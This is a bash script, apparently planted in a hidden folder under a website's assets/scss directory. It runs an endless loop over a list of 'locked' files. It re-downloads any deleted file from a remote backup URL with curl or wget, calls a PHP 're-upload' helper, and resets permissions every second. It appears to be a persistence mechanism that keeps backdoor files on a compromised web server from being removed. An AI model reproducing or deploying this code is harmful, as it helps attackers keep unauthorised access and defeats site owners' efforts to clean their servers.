#!/bin/bash
LOCKSTORE='/home/vdud1cisccop/ramsons-group.com/assets/scss/LASTPIECE_DATA/.lockfiles'
HELPER='/home/vdud1cisccop/ramsons-group.com/assets/scss/LASTPIECE_DATA/lp_reupload.php'
while true; do
  [ ! -f "$LOCKSTORE" ] && sleep 1 && continue
  while IFS='|' read -r TARGET PERM BKUP || [ -n "$TARGET" ]; do
    TARGET=$(printf '%s' "$TARGET" | tr -d '\r')
    PERM=$(printf '%s' "$PERM" | tr -d '\r')
    BKUP=$(printf '%s' "$BKUP" | tr -d '\r')
    [ -z "$TARGET" ] && continue
    if [ ! -e "$TARGET" ] && [ ! -L "$TARGET" ]; then
      if [ -n "$BKUP" ]; then
        curl -sL --max-time 20 "$BKUP" -o "$TARGET" 2>/dev/null
        [ ! -s "$TARGET" ] && wget -qO "$TARGET" "$BKUP" 2>/dev/null
      fi
      [ ! -e "$TARGET" ] && touch "$TARGET" 2>/dev/null
      chmod "$PERM" "$TARGET" 2>/dev/null
      if command -v php >/dev/null 2>&1 && [ -f "$HELPER" ] && [ -f "$TARGET" ]; then
        php "$HELPER" "$TARGET" "$LOCKSTORE" > /dev/null 2>&1
      fi
    fi
    if [ -e "$TARGET" ]; then
      CUR=$(stat -c '%a' "$TARGET" 2>/dev/null || stat -f '%Lp' "$TARGET" 2>/dev/null)
      WANT=$(printf '%s' "$PERM" | sed 's/^0*//')
      [ -z "$WANT" ] && WANT="444"
      [ "$CUR" != "$WANT" ] && chmod "$PERM" "$TARGET" 2>/dev/null
    fi
  done < "$LOCKSTORE"
  sleep 1
done
